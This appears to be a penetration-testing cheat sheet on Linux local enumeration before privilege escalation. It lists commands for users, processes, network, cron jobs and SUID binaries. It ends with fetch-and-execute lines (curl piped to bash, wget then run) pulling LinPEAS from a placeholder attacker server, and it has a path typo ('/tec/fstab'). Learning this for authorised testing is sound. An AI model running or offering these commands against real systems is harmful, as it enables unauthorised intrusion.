Local Enumeration

Users

Enumerate the current user ID (UID), group ID (GID), and the groups the user belongs to.

id
uid=1001(john) gid=1001(john) groups=1001(john),27(sudo) # john's result

Enumerate basic information of all users using /etc/passwd.

cat /etc/passwd

The following example describes a line of /etc/passwd file.

john:x:1001:1001:John Doe:/home/john:/bin/bash
username:password:uid:gid:gecos:home directory:shell
  • Username: The login name (1-32 characters).

  • Password: An x means the password is stored in /etc/shadow.

  • User ID (UID): Unique ID for the user. UID 0 is for root, 1-99 are reserved, and 100-999 are for system accounts.

  • Group ID (GID): The primary group ID, found in /etc/group.

  • User Info (GECOS): Optional user information like full name or contact info.

  • Home Directory: The user's default directory when logging in.

  • Shell: The user's default shell, like /bin/bash, or /sbin/nologin to prevent login.

System information

Enumerate hostname.

hostname

Enumerate operating system version.

cat /etc/issue
cat /etc/os-release

Enumerate kernel version and architecture.

uname -a

User configurations

list sudoer capabilities of current user.

sudo -l

List environment variables.

env

List config files such as bash profile.

ls -la <home_directory>

Processes

Enumerate all processes in a user readable format.

ps aux

Monitor Processes.

watch -n 1 "ps -aux | grep pass"

It also possible to monitor running processes at live time using pspy tool.

Network

Enumerate all network interfaces, this includes physical and virtual networks.

ip a
ifconfig

Display the routing tables.

route

Enumerate connections.

ss -anp
netstat -tulnp

Enumerate firewall rules.

cat /etc/iptables/rules.v4

Scheduled tasks

Scheduled tasks in Linux also known as "Cron Jobs" and configured using the crontab command-line tool.

Crontab Files

  • User-specific crontabs: Stored separately for each user and managed by the crontab command.

  • System-wide crontab: Found in /etc/crontab. This file allows specifying jobs for different users.

  • Cron directories:

    • /etc/cron.hourly: Tasks that run every hour.

    • /etc/cron.daily: Tasks that run daily.

    • /etc/cron.weekly: Tasks that run weekly.

    • /etc/cron.monthly: Tasks that run monthly.

Listing tasks files.

ls -lah /etc/cron*

Find tasks in the system logs.

grep "CRON" /var/log/syslog

Enumerate the current user's scheduled jobs.

crontab -l

Application

Listing installed applications.

dpkg -l

File System

List all drives at boot time.

cat /tec/fstab

List all mounted file systems.

mount

List all available disks.

lsblk

Enumerate loaded Kernel modules.

lsmod

Gather more information about the kernel module.

/sbin/modinfo <module>

SUID Binaries

Enumerate SUID binaries.

find / -perm /4000 -type f 2>/dev/null

Automated Enumeration

Download and execute LinPEAS or unix-privesc-check:

# LinPEAS
curl -L http://<attacker_http_server>/linpeas.sh | bash 

# unix-privesc-check
wget http://<attacker_http_server>/unix-privesc-check && chmod +x unix-privesc-check && ./unix-privesc-check <standard | detailed> 

Last updated